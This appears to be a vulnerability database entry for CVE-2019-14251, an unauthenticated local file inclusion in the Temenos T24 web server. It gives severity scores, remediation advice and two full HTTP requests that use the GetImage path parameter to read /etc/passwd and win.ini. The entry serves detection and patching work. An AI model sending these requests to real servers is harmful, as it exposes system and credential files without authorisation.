| Title | T24 Web Server - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the T24 Web Server. |
| CVSS Score | 7.5 |
| EPSS Score | 0.64701 |
| CVE ID | CVE-2019-14251 |
| CWE ID | CWE-22 |
| Tags | cve cve2019 temenos lfi unauth vkev vuln |
T24 web server is vulnerable to unauthenticated local file inclusion that permits an attacker to exfiltrate data directly from server.
GET /WealthT24/GetImage?docDownloadPath=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /WealthT24/GetImage?docDownloadPath=c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14251.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-14251.pcap
N/AN/A